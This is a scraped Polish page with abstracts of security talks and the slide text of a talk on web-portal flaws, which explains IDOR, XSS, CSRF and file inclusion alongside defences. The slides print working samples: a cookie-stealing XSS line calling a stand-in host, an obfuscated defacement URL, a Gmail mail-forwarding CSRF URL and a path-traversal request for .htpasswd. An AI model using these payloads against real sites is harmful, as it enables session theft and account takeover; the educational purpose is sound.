Prezentacja z konferencji Mobilization 2014.
Abstrakt:
Na rzeczywistych przykładach pokażę jak wygląda proces oceny bezpieczeństwa aplikacji mobilnych. Zobaczymy m.in. jak wykrywać słabości związane z przechowywaniem danych na urządzeniu, nieprawidłowości w transmisji, oraz najgroźniejsze - błędy w API po stronie serwera (np. błędy logiczne, kontroli dostępu, REST). Jednocześnie okaże się jakie techniki utrudniają ataki, jaki jest faktyczny wpływ na ryzyko poszczególnych podatności, oraz jakie zabezpieczenia warto zastosować w różnych aplikacjach.
Większość banków stosuje w swoich systemach bankowości internetowej i mobilnej metody autoryzacji transakcji (np. hasła SMS, "podpis elektroniczny", tokeny OTP, tokeny challenge-response). Stosowanie tego typu metod nie jest ograniczone tylko do systemów finansowych, są np. szeroko stosowane do autoryzowania operacji odzyskiwania hasła w różnego rodzaju aplikacjach.
Autoryzacja transakcji ma ograniczać skutki wynikające z działania wrogiego oprogramowania na stacji użytkownika, przechwytywania sesji oraz zgadywania czy kradzieży haseł.
W ostatnich latach widzimy jednak, że strategie działania grup przestępczych dostosowują się do tych zabezpieczeń i niejednokrotnie skutecznie je omijają. Prezentacja ma na celu skonfrontowanie obecnych metod autoryzacji operacji ze współczesnymi scenariuszami ataku przy użyciu malware oraz wskazanie typowych błędów w implementacji, które mogą przyczynić się do możliwości obejścia tych zabezpieczeń.
Agenda (draft):
- Krótka prezentacja metod autoryzacji transakcji.
- Kilka "case study" - jak malware obchodzi autoryzacje transakcji (w tym własne doświadczenia zdobyte podczas analizy przypadków ataków w bankach).
- Jak wybrać skuteczną metodę autoryzacji transakcji?
- Na co uważać? Typowe błędy implementacji, które mogą przyczynić się do osłabienia mechanizmu autoryzacji transakcji.
PLNOG19 - Krzysztof Banel - Nowe modele bezpieczeństwa w sieciach SDNPROIDEA
Co modelowanie sieci z poziomu kontrolera SDN oznacza dla bezpieczeństwa? Kompatybilność bezpieczeństwa systemów dedykowanych, zwirtualizowanych i skonteneryzowanych. Segmentowanie mikrousług jako kolejny etap migracji ze środowisk monolitycznych. Ujednolicanie usług bezpieczeństwa w redundantnych i rozproszonych modelach przetwarzania. Konwergencja bezpieczeństwa infrastruktury kampusowej i centrum przetwarzania.
Prezentacja z konferencji Mobilization 2014.
Abstrakt:
Na rzeczywistych przykładach pokażę jak wygląda proces oceny bezpieczeństwa aplikacji mobilnych. Zobaczymy m.in. jak wykrywać słabości związane z przechowywaniem danych na urządzeniu, nieprawidłowości w transmisji, oraz najgroźniejsze - błędy w API po stronie serwera (np. błędy logiczne, kontroli dostępu, REST). Jednocześnie okaże się jakie techniki utrudniają ataki, jaki jest faktyczny wpływ na ryzyko poszczególnych podatności, oraz jakie zabezpieczenia warto zastosować w różnych aplikacjach.
Większość banków stosuje w swoich systemach bankowości internetowej i mobilnej metody autoryzacji transakcji (np. hasła SMS, "podpis elektroniczny", tokeny OTP, tokeny challenge-response). Stosowanie tego typu metod nie jest ograniczone tylko do systemów finansowych, są np. szeroko stosowane do autoryzowania operacji odzyskiwania hasła w różnego rodzaju aplikacjach.
Autoryzacja transakcji ma ograniczać skutki wynikające z działania wrogiego oprogramowania na stacji użytkownika, przechwytywania sesji oraz zgadywania czy kradzieży haseł.
W ostatnich latach widzimy jednak, że strategie działania grup przestępczych dostosowują się do tych zabezpieczeń i niejednokrotnie skutecznie je omijają. Prezentacja ma na celu skonfrontowanie obecnych metod autoryzacji operacji ze współczesnymi scenariuszami ataku przy użyciu malware oraz wskazanie typowych błędów w implementacji, które mogą przyczynić się do możliwości obejścia tych zabezpieczeń.
Agenda (draft):
- Krótka prezentacja metod autoryzacji transakcji.
- Kilka "case study" - jak malware obchodzi autoryzacje transakcji (w tym własne doświadczenia zdobyte podczas analizy przypadków ataków w bankach).
- Jak wybrać skuteczną metodę autoryzacji transakcji?
- Na co uważać? Typowe błędy implementacji, które mogą przyczynić się do osłabienia mechanizmu autoryzacji transakcji.
PLNOG19 - Krzysztof Banel - Nowe modele bezpieczeństwa w sieciach SDNPROIDEA
Co modelowanie sieci z poziomu kontrolera SDN oznacza dla bezpieczeństwa? Kompatybilność bezpieczeństwa systemów dedykowanych, zwirtualizowanych i skonteneryzowanych. Segmentowanie mikrousług jako kolejny etap migracji ze środowisk monolitycznych. Ujednolicanie usług bezpieczeństwa w redundantnych i rozproszonych modelach przetwarzania. Konwergencja bezpieczeństwa infrastruktury kampusowej i centrum przetwarzania.
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...PROIDEA
W trakcie sesji zostanie omówiony nowy zyskujący coraz większe uznanie model zarządzania i provisioningu sieci LAN, WAN, WIFI z chmury. Pokazane zostanie w jaki sposób operatorzy telekomunikacyjni przy pomocy platformy Cisco Cloud Networking mogą budować i dostarczać własne usługi zarządzane Klientom (manager LAN, WAN i WIFI).
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Logicaltrust pl
Na podstawie ponad stu testów aplikacji mobilnych przedstawienie tego co robimy źle, a co jeszcze gorzej. Skupiając się głównie na platformach iOS oraz Android, przeanalizujemy garść typowych i nietypowych błędów. Przestudiujemy problemy, które można napotkać podczas testów bezpieczeństwa oraz pokażemy jak zaradny pentester może sobie z nimi poradzić, dobry programista unikać, a świadomy użytkownik zdawać sobie sprawę, że nosi dziurawy software w kieszeniach.
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?PHPCon Poland
Autor: Michał Żyliński
Projektujesz serwisy lub aplikacje internetowe i czujesz, że popadasz w rutynę? Zobacz, co może zaoferować Silverlight, ninja i czarny koń technologii RIA.
Twórz bezpieczny kod w PHP!
* Jakie rodzaje ataków mogą Ci zagrozić?
* Jak się przed nimi bronić?
* Jak produkować bezpieczne oprogramowanie?
PHP jest z pewnością jednym z najbardziej popularnych języków programowania, pozwalających na tworzenie dynamicznych aplikacji WWW. Swoją popularność zdobył dzięki prostej składni, łatwej konfiguracji oraz przejrzystym zasadom działania. PHP jest świetnym przykładem na to, że prostota i elegancja bywają lepsze niż nadmierne zaawansowanie i niepotrzebna komplikacja. Pomimo swej prostoty język PHP jest bardzo wymagający w sprawach związanych z bezpieczeństwem. Zmusza on programistę do poświęcenia niezwykłej uwagi kwestii wyboru bezpiecznych rozwiązań.
Z pewnością brakowało Ci książki, która w jednym miejscu gromadziłaby wszelkie informacje związane z bezpieczeństwem w PHP. Dzięki pozycji "PHP5. Bezpieczne programowanie. Leksykon kieszonkowy " poznasz podstawy bezpiecznego programowania, sposoby obsługi danych pobranych z zewnątrz oraz przekazywania ich pomiędzy skryptami. Autor przedstawi Ci rodzaje ataków na aplikacje PHP oraz najlepsze metody obrony przed nimi. Ponadto nauczysz się we właściwy sposób konfigurować PHP oraz zdobędziesz wiedzę na temat zasad bezpiecznej produkcji oprogramowania. Jeżeli chcesz tworzyć bezpieczne rozwiązania w PHP, koniecznie zapoznaj się z tą książką!
* Obsługa danych zewnętrznych
* Wstrzykiwanie kodu
* Dobór odpowiednich uprawnień
* Sposoby uwierzytelniania użytkownika
* Bezpieczne obsługiwanie błędów
* Rodzaje ataków na aplikacje napisane w PHP
* Obrona przed atakami XSS
* Zagrożenie wstrzyknięciem kodu SQL
* Ataki DOS i DDOS
* Bezpieczna konfiguracja PHP
* Sposoby tworzenia bezpiecznego oprogramowania
Wykorzystaj możliwości PHP w pełni i bezpiecznie!
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmieSecuRing
Agenda:
1. Wstęp - kto i po co chciałby zaatakować naszą infrastrukturę
2. Przykłady w jaki sposób mógłby wyglądać atak – omówienie na konkretnych sytuacjach:
atak „z Internetu”
przejęcie stacji w LAN
przejęcie telefonu
atak lokalny na transmisje bezprzewodowe
atak lokalny na okablowanie, niezabezpieczone gniazdka, switche...
ataki na transmisję przez Internet - słabości VPN, łącza GSM, ...
3. Czy skuteczna separacja sieci przemysłowej jest możliwa? Czy zawsze jest zgodna z założeniami? Jak zidentyfikować nieoczywiste punkty styku i ocenić ich bezpieczeństwo?
4. Porady i wskazówki, jak minimalizować zagrożenie
Pierwsze moje "publiczne" wystąpienie dotyczyło m. innymi pracy z danymi. Na przestrzeni ostatnich kilkunastu lat zmieniło się praktycznie wszystko - od typów pojemników przez styl pracy z danymi, rodzaj budowanych aplikacji itp. Ale - z drugiej strony - wymagania klienta zmieniły się nieznacznie - nadal sporo z nich chce po prostu szybko działającą formatkę, aktualne raporty (najlepiej z danym "z teraz") itp.
W tej sesji przyjrzymy się między innymi:
- ORM-om - na przykładzie Entity Framework 6 i Entity Framework Core
- DocumentDB, Azure Table - jako przykładom innych pojemników, z "eventual consistency" (oby!)
- Koncepcji OData, mikroserwisom oraz SignalR
- Oraz: jak to wszystko połączyć w aplikacji.
Założenie: słuchacze czytają kod C# oraz JavaScript!
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...PROIDEA
Speaker: Borys Lacki
Language: Polish
Historia trzech ataków typu APT wykonanych podczas kontrolowanych testów penetracyjnych. W których od zerowej wiedzy na temat atakowanej firmy przejęto infrastrukturę i uzyskano dostęp do poufnych informacji wykorzystując 0-day w Quake, pendrive w toalecie damskiej oraz plik faktura.exe. Oprócz mrożących krew w żyłach historii zostaną pokazane praktyczne porady jak nie stać się bohaterem kolejnej edycji wykładu.
CONFidence: http://confidence.org.pl/pl/
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Logicaltrust pl
Dowiesz się:
jakie ataki w 2020 roku są najgroźniejsze,
jak cyberprzestępcy wykorzystują słabości ludzkie i techniczne,
jak ochronić swoją firmę przed skutecznym atakiem.
Security Awareness po polsku - webinar 2019.11.29Logicaltrust pl
Borys Łącki opowiada na webinarze dlaczego warto dopasować język kampanii Security Awareness do odbiorcy i przedstawia listę materiałów dostępnych publicznie po polsku
More Related Content
Similar to Drobne błędy w portalach WWW -- prawdziwe studium przypadku
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...PROIDEA
W trakcie sesji zostanie omówiony nowy zyskujący coraz większe uznanie model zarządzania i provisioningu sieci LAN, WAN, WIFI z chmury. Pokazane zostanie w jaki sposób operatorzy telekomunikacyjni przy pomocy platformy Cisco Cloud Networking mogą budować i dostarczać własne usługi zarządzane Klientom (manager LAN, WAN i WIFI).
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Logicaltrust pl
Na podstawie ponad stu testów aplikacji mobilnych przedstawienie tego co robimy źle, a co jeszcze gorzej. Skupiając się głównie na platformach iOS oraz Android, przeanalizujemy garść typowych i nietypowych błędów. Przestudiujemy problemy, które można napotkać podczas testów bezpieczeństwa oraz pokażemy jak zaradny pentester może sobie z nimi poradzić, dobry programista unikać, a świadomy użytkownik zdawać sobie sprawę, że nosi dziurawy software w kieszeniach.
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?PHPCon Poland
Autor: Michał Żyliński
Projektujesz serwisy lub aplikacje internetowe i czujesz, że popadasz w rutynę? Zobacz, co może zaoferować Silverlight, ninja i czarny koń technologii RIA.
Twórz bezpieczny kod w PHP!
* Jakie rodzaje ataków mogą Ci zagrozić?
* Jak się przed nimi bronić?
* Jak produkować bezpieczne oprogramowanie?
PHP jest z pewnością jednym z najbardziej popularnych języków programowania, pozwalających na tworzenie dynamicznych aplikacji WWW. Swoją popularność zdobył dzięki prostej składni, łatwej konfiguracji oraz przejrzystym zasadom działania. PHP jest świetnym przykładem na to, że prostota i elegancja bywają lepsze niż nadmierne zaawansowanie i niepotrzebna komplikacja. Pomimo swej prostoty język PHP jest bardzo wymagający w sprawach związanych z bezpieczeństwem. Zmusza on programistę do poświęcenia niezwykłej uwagi kwestii wyboru bezpiecznych rozwiązań.
Z pewnością brakowało Ci książki, która w jednym miejscu gromadziłaby wszelkie informacje związane z bezpieczeństwem w PHP. Dzięki pozycji "PHP5. Bezpieczne programowanie. Leksykon kieszonkowy " poznasz podstawy bezpiecznego programowania, sposoby obsługi danych pobranych z zewnątrz oraz przekazywania ich pomiędzy skryptami. Autor przedstawi Ci rodzaje ataków na aplikacje PHP oraz najlepsze metody obrony przed nimi. Ponadto nauczysz się we właściwy sposób konfigurować PHP oraz zdobędziesz wiedzę na temat zasad bezpiecznej produkcji oprogramowania. Jeżeli chcesz tworzyć bezpieczne rozwiązania w PHP, koniecznie zapoznaj się z tą książką!
* Obsługa danych zewnętrznych
* Wstrzykiwanie kodu
* Dobór odpowiednich uprawnień
* Sposoby uwierzytelniania użytkownika
* Bezpieczne obsługiwanie błędów
* Rodzaje ataków na aplikacje napisane w PHP
* Obrona przed atakami XSS
* Zagrożenie wstrzyknięciem kodu SQL
* Ataki DOS i DDOS
* Bezpieczna konfiguracja PHP
* Sposoby tworzenia bezpiecznego oprogramowania
Wykorzystaj możliwości PHP w pełni i bezpiecznie!
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmieSecuRing
Agenda:
1. Wstęp - kto i po co chciałby zaatakować naszą infrastrukturę
2. Przykłady w jaki sposób mógłby wyglądać atak – omówienie na konkretnych sytuacjach:
atak „z Internetu”
przejęcie stacji w LAN
przejęcie telefonu
atak lokalny na transmisje bezprzewodowe
atak lokalny na okablowanie, niezabezpieczone gniazdka, switche...
ataki na transmisję przez Internet - słabości VPN, łącza GSM, ...
3. Czy skuteczna separacja sieci przemysłowej jest możliwa? Czy zawsze jest zgodna z założeniami? Jak zidentyfikować nieoczywiste punkty styku i ocenić ich bezpieczeństwo?
4. Porady i wskazówki, jak minimalizować zagrożenie
Pierwsze moje "publiczne" wystąpienie dotyczyło m. innymi pracy z danymi. Na przestrzeni ostatnich kilkunastu lat zmieniło się praktycznie wszystko - od typów pojemników przez styl pracy z danymi, rodzaj budowanych aplikacji itp. Ale - z drugiej strony - wymagania klienta zmieniły się nieznacznie - nadal sporo z nich chce po prostu szybko działającą formatkę, aktualne raporty (najlepiej z danym "z teraz") itp.
W tej sesji przyjrzymy się między innymi:
- ORM-om - na przykładzie Entity Framework 6 i Entity Framework Core
- DocumentDB, Azure Table - jako przykładom innych pojemników, z "eventual consistency" (oby!)
- Koncepcji OData, mikroserwisom oraz SignalR
- Oraz: jak to wszystko połączyć w aplikacji.
Założenie: słuchacze czytają kod C# oraz JavaScript!
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...PROIDEA
Speaker: Borys Lacki
Language: Polish
Historia trzech ataków typu APT wykonanych podczas kontrolowanych testów penetracyjnych. W których od zerowej wiedzy na temat atakowanej firmy przejęto infrastrukturę i uzyskano dostęp do poufnych informacji wykorzystując 0-day w Quake, pendrive w toalecie damskiej oraz plik faktura.exe. Oprócz mrożących krew w żyłach historii zostaną pokazane praktyczne porady jak nie stać się bohaterem kolejnej edycji wykładu.
CONFidence: http://confidence.org.pl/pl/
Similar to Drobne błędy w portalach WWW -- prawdziwe studium przypadku (20)
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Logicaltrust pl
Dowiesz się:
jakie ataki w 2020 roku są najgroźniejsze,
jak cyberprzestępcy wykorzystują słabości ludzkie i techniczne,
jak ochronić swoją firmę przed skutecznym atakiem.
Security Awareness po polsku - webinar 2019.11.29Logicaltrust pl
Borys Łącki opowiada na webinarze dlaczego warto dopasować język kampanii Security Awareness do odbiorcy i przedstawia listę materiałów dostępnych publicznie po polsku
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019Logicaltrust pl
Zostaną przedstawione przykłady ataków socjotechnicznych wykonanych podczas testów bezpieczeństwa. Prelegent opowie o tym jak się bronić i jak reagować podczas incydentów bezpieczeństwa.
Ataki socjotechniczne w praktyce - Confidence 2019Logicaltrust pl
Zostaną przedstawione przykłady ataków socjotechnicznych wykonanych podczas testów bezpieczeństwa. Prelegent opowie o tym jak się bronić i jak reagować podczas incydentów bezpieczeństwa.
PFL is a fuzzer designed mainly for torturing stuff (mainly libraries or APIs, sometimes co-workers). It uses minerva algorithm. Minerva_lib is able to fuzz any piece of code, as long as it can be linked against its core.
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018Logicaltrust pl
Prezenter omówi najczęstsze problemy związane z dedykowanymi atakami typu phishing na podstawie przeprowadzonych testów bezpieczeństwa. Słuchacze zrozumieją dlaczego skuteczny atakujący zawsze wygrywa i otrzymają praktyczne wskazówki dotyczące procesów, technologii i edukacji, by maksymalnie utrudnić zadanie cyberprzestępcom.
Spear phishing - jak się bronić? Case studies - Confidence 2018Logicaltrust pl
Prezenter omówi najczęstsze problemy związane z dedykowanymi atakami typu phishing na podstawie przeprowadzonych testów bezpieczeństwa. Słuchacze zrozumieją dlaczego skuteczny atakujący zawsze wygrywa i otrzymają praktyczne wskazówki dotyczące procesów, technologii i edukacji, by maksymalnie utrudnić zadanie cyberprzestępcom.
The presentation will be about real examples of redteam attacks targeted at Polish customers. We will show the advantages and disadvantages of certain type of attacks and our failures and successes. We will summarize the most important best practices to protect against a redteam and good advices on how to attack effectively and be more stealthly.
W prezentacji zostaną ukazane prawdziwe przykłady z testów penetracyjnych typu RedTeam, w których każdy sposób na kradzież informacji jest dobry. Phishing, złośliwe oprogramowanie, fałszywe domeny, przełamywanie zabezpieczeń fizycznych - to tylko niektóre aspekty poruszane podczas prelekcji. Pokażemy nasze sukcesy oraz porażki, metody ataków oraz dobre praktyki ograniczające możliwość skutecznego ataku wymierzonego w zasoby firmowe.
Report on the trip from fuzzing the PHP interpreter, through getting code execution, to hijacking all incoming requests sent to a web server. Thoughts on torturing interpreters, tips and tricks for exploiting vulnerabilities in the PHP core and walk-through interesting bugs found (1e-65 days included)
Socjotechnika w Internecie - metody ataku i obronyLogicaltrust pl
Wystąpienie poświęcone było najciekawszym ukierunkowanym atakom socjotechnicznym... a także tym mniej spektakularnym, ale równie skutecznym atakom phishingowym, wycelowanym w szeregowych internautów. Oprócz przybliżenia problemu, celem prezentacji jest także próba znalezienia odpowiedzi na pytanie jak w poszczególnych przypadkach można było pokrzyżować plany cyberprzestępców i ustalenia podstawowych zasad, których przedstrzeganie pozwoli internautom na zmniejszenie powodzenia kolejnych tego typu działań.
Wyciek danych w aplikacjach - Artur Kalinowski, 4DevelopersLogicaltrust pl
Prezentacja zagadnienia wycieku danych oraz możliwości pozyskania i późniejszego wykorzystania podczas ataków. Omówienie typowych błędów popełnianych podczas projektowania, kodowania oraz wdrażania aplikacji, które mają negatywne konsekwencje dla bezpieczeństwa aplikacji. Prezentacja prostych metod identyfikacji wycieków danych i pozyskiwania istotnych informacji z wykorzystaniem publicznie dostępnych i darmowych narzędzi, które każdy może przetestować w praktyce. Prezentowane metody i techniki nie wymagają dogłębnej wiedzy i nie są skomplikowane, co ułatwia ich zapamiętanie, jak również późniejsze wykorzystanie podczas testów bezpieczeństwa własnych aplikacji, zwłaszcza w momencie wdrażania ich w środowisku produkcyjnym. Opisy wycieków danych bazują na rzeczywistych sytuacjach, jakie spotykane są podczas przeprowadzania testów penetracyjnych, a więc obejmują błędy i niedociągnięcia, które są powszechnie spotykane, a które stanowią potencjalną furtkę dla atakującego.
W skład poruszanych zagadnień wchodzą m.in.:
1. Błędne założenia projektowe podstawą przyszłych kłopotów
2. Typowe błędy, które niosą poważne konsekwencje
2. Na co zwraca uwagę atakujący 3. Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji
4. Analiza działania aplikacji
5. Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja środowisk produkcyjnych 6. "Bez
komentarza" :)
7. Pozyskiwanie wrażliwych danych z pamięci operacyjnej
8. Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki? 9. Aplikacje mobilne a bezpieczeństwo
Wykład ukierunkowany pod kątem przekazania praktycznej wiedzy, projektantom, developerom i administratorom oraz wskazania konsekwencji braku właściwego podejścia do polityki bezpieczeństwa.
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...Logicaltrust pl
Wnioski z technicznego badania kilkudziesięciu polskich aplikacji bankowych przeznaczonych na platformy Android oraz iOS pod kątem występowania w nich podatności z OWASP Mobile TOP 10. Prezentacja rzeczywistych błędów w oprogramowaniu mobilnym, praktycznych porad jak zabezpieczyć aplikacje oraz odniesienie uzyskanych rezultatów do badań przeprowadzonych w innych krajach.
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...Logicaltrust pl
Prezentacja ma na celu przedstawić skuteczne metody edukacji pracowników w zakresie ochrony zasobów firmowych przed nowymi zagrożeniami.
Efektywne zwiększanie świadomości personelu to proces skomplikowany i trudny, wychodzący daleko poza ramy standardowych kursów, do których przyzwyczajeni są pracownicy. Autor przedstawi nowe podejście do edukacji 'najsłabszego ogniwa' każdego systemu bezpieczeństwa, poparte testami i własnym doświadczeniem.
11.
Odkryte podatności WWW
przewyższają ilościowo
wszystkie pozostałe
(Sans)
M
12.
Czemu?
Bardzo popularne medium ($)
Niedojrzałośd technologii
Błędy logiczne
Chałupnicze rozwiązania
M
13.
Amerykaoskie ofiary
phishingu
3,6 miliona osób, które
straciły łącznie 3,2 miliarda
dolarów
(Gartner, http://www.heise-online.pl/news/item/2356/)
M
14.
Standardowa architektura aplikacji WWW
Internet
Warstwa WWW
(filtry wejścia/wyjścia)
Warstwa Aplikacji
(logika biznesowa)
Serwer Baz Danych
M
15.
Źle!
Internet
Warstwa WWW
(filtry wejścia/wyjścia)
Nowa
funkcjonalnośd
Warstwa Aplikacji
(logika biznesowa)
Serwer Baz Danych
M
16. Firewall vs. właściwe
projektowanie, kodowanie i SDLC
Internet
Firewall Aplikacyjny
Warstwa WWW
(filtry wejścia/wyjścia)
Nowa
funkcjonalnośd
Warstwa Aplikacji
(logika biznesowa)
Serwer Baz Danych
M
17.
Optymalnie
Internet
Firewall Aplikacyjny
Warstwa WWW
(filtry wejścia/wyjścia)
Warstwa Aplikacji
Nowa
funkcjonalnośd
(logika biznesowa)
Serwer Baz Danych
M
27.
Wniosek?
Bezpieczeostwo wymaga
specyficznego sposobu
myślenia
(Paranoi? ;-)
B
28.
Ograniczenie dostępu po stronie klienta
Możliwośd obejścia interfejsu
W kontraście z bankomatem
Nieskuteczne!
B
29.
Ograniczenie dostępu po stronie klienta
RSS z identyfikacją ID klienta
serwer.tld/rss/100_rss.xml
serwer.tld/rss/101_rss.xml
serwer.tld/rss/102_rss.xml
Czytanie cudzych wiadomości
serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80
serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81
serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82
B
32.
Reflective XSS
Serwer
http://serwer/index.php?id=<script>…</script>
GET /index.php?
id=<script>…</script>
HTTP/1.1
Aplikacja Intruz
WWW Użytkownik
…<script>…</script>…
exec(…)
Dane dostępne
w kontekście
użytkownika
B
33.
Przykładowy kod XSS
document.write(‘
<img src=„
http://intruz.tld/cookiemonster.gif
?’+escape(document.cookie) +’ ”>
’);
B
36.
Rebranding za pomocą XSS
http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117,
109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,
34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10
9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1
11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1
05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E
document.getElementById("logo").innerHTML=
"<img src='http://www.str.tld/images/smiley.gif'>"
M
37.
Tak to wygląda w kodzie strony
...
<div id="maincontent">
<h2>Results for: <span style="color:
#f00;"><script>eval(String.fromCharCode(100,111,99,117,109,101
,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1
00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77
,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5
8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1
12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4
6,103,105,102,39,62,34));</script></span></h2>
</div>
...
M
38.
Tak wygląda zmieniany kod
<div id="logo">
<div class="logolink">
<a href="http://strona.tld/">strona.tld</a>
</div>
...
</div>
M
42.
Zmiana treści za pomocą XSS
Nie jest permanentna
Lepszy kod łatwiej (sic!)
Pomysł:
Tak samo wyglądający
formularz kierujący dane w
inne miejsce phishing
B
43.
Uwierzytelnianie przy pomocy cookies
POST /login.php HTTP/1.1
login=user&password=asd12ed]r3
HTTP/1.1 OK 200
Set-cookie: user_id=734223s8uod42
Witaj user
Użytkownik
GET /index.php HTTP/1.1
Cookie: user_id=734223s8uod42
Serwer
Witaj user
B
44.
Wykorzystanie przejętego cookie
POST /login.php HTTP/1.1
login=user&password=asd12ed]r3
HTTP/1.1 OK 200
Set-cookie: user_id=734223s8uod42
Witaj user
Użytkownik
GET /index.php HTTP/1.1
Cookie: user_id=734223s8uod42
Serwer
Witaj user
GET /index.php HTTP/1.1
Cookie: user_id=734223s8uod42
Intruz
Witaj user
B
45.
Kradzież ciastka zawierającego ID sesji
http://www.serwer.tld/index.php?p=com
ments&comments_login=smietanka%3Csc
ript%3Edocument.write(document.cookie)
%3C/script%3E
PHPSESSID=gji9h519llgbgbnaqg7si0q1l0;
__utma=258102041.949163972.1198624259.1198624259.1198624259.1;
__utmb=258102041; __utmc=258102041;
__utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc
md=(none)
M
49.
Jak wysład sobie ciastko?
XMLHttpRequest
Problem pomiędzy domenami
Link
img, iframe, location.href, etc
Przykład: <img
src="http://serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7
si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259.
1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204
1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29
%7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29">
B
50.
Co na to poradzid?
Powiązad ID sesji z IP
Żądad powtórnego uwierzytelnienia
Kontrolowad wprowadzane dane !!!
- Białe listy (ScRipT)
- Spójnośd (IDS, Firewall, aplikacja)
- Dogłębnośd (....// ../), UTF-7
B
51.
http://serwer.tld/topics/<img
src=http://www.serw.tld/images/smiley.gif>
/
M
55.
Stored XSS
Serwer
POST /register.php HTTP/1.1
login=<script>…</script>&password=asd
Aplikacja WWW
GET /index.php HTTP/1.1
<script>…</script>
Użytkownik
…<script>…</script>… Intruz
exec(…)
Baza danych Dane dostępne
w kontekście
użytkownika
B
56.
Co można zrobid?
Permanentna zmiana treści
Łatwa kradzież ID sesji
CSRF
XSS Proxy
Automatyczne robaki
- mySpace, Orkut, Nduja, Borys
Łatwe ;] w serwisach pozwalających publikowad własną
treśd:
- aukcyjne, blogi, fora, etc
B
58.
XSS Worm
Serwer WWW
Zapisuje XSS w swoim profilu
Intruz XSS
…
Intruz
User_1
User_2
B
59.
XSS Worm
Serwer WWW
Zapisuje XSS w swoim profilu
GET /intruz/ HTTP/1.1 User_1
Intruz XSS
…<script>…</script>…
… exec(…)
Zapisuje XSS w
swoim profilu
Intruz
User_1 XSS
User_2
B
60.
XSS Worm
Serwer WWW
Zapisuje XSS w swoim profilu
GET /intruz/ HTTP/1.1 User_1
Intruz XSS
…<script>…</script>…
User_2
…
Zapisuje XSS w exec(…)
swoim profilu
Intruz
GET /user1/ HTTP/1.1
User_1 XSS
…<script>…</script>…
Zapisuje XSS w
exec(…)
User_2 XSS swoim profilu
B
62.
Co na to poradzid?
Powiązad ID sesji z IP
Żądad powtórnego uwierzytelnienia
Kontrolowad wprowadzane dane
- Białe listy (ScRipT)
- Spójnośd (IDS, Firewall, aplikacja)
- Dogłębnośd (....// ../), UTF-7
Filtrowad dane zapisywane do bazy
i odczytywane z bazy
B
64.
CSRF
Serwer
http://serwer/delete.php?id=34
Aplikacja
WWW
GET /delete.php?id=34 HTTP/1.1
Cookie: user_id=734223s8uod42
…
id = 34; Intruz
delete(id); Użytkownik
…
Wpis usunięty
M
65.
<img src=„http://nasza-
klasa.pl/invite/1?i=1”>
(/var/log/apache/cba_ipn_zus_access.log)
B
66.
Przejęcie wiadomości z Gmail (CSRF)
http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip
art/form-data&_action=https%3A//mail.google.com/mail/h/
wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili
nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta
ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter
„Konto na Gmailu każdy z nas ma. Mam i ja!”
(Kradzież domeny: www.davidairey.co.uk)
B
67.
Co na to poradzid?
POST zamiast GET
obejście: iframe, javascript
Referer
problemy: proxy, przeglądarki, zmiana nagłówka
Generowane tymczasowego dodatkowego ID
Powiązanie ID użytkownika z długim losowym
ciągiem
Trzymane po stronie serwera
Wymaganie ponownej autoryzacji przy
kluczowych operacjach
Brak błędów XSS (XmlHttpRequest)!!!
B
69. Local File Include
• podgląd plików (konfiguracyjnych!)
• wykonanie kodu, jeśli jest możliwośd wgrania pliku na
serwer
• dostęp do kodu źródłowego
<?php
if(file_exists("includes/$page.inc")) {
include "includes/$page.inc";
} else {
echo "W budowie!<BR>";
}
http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi
c_html/.htpasswd%00
B
71.
Co z tym zrobid?
konfiguracja po stronie php.ini
allow_url_fopen = Off
allow_url_include = Off
register_global = Off
safe_mode = On
register_globals = Off
safe_mode_gid = Off
display_errors = Off
log_errors = On
error_log = /var/log/httpd/php_error.log
disable_functions = system, shell_exec, exec, passthru
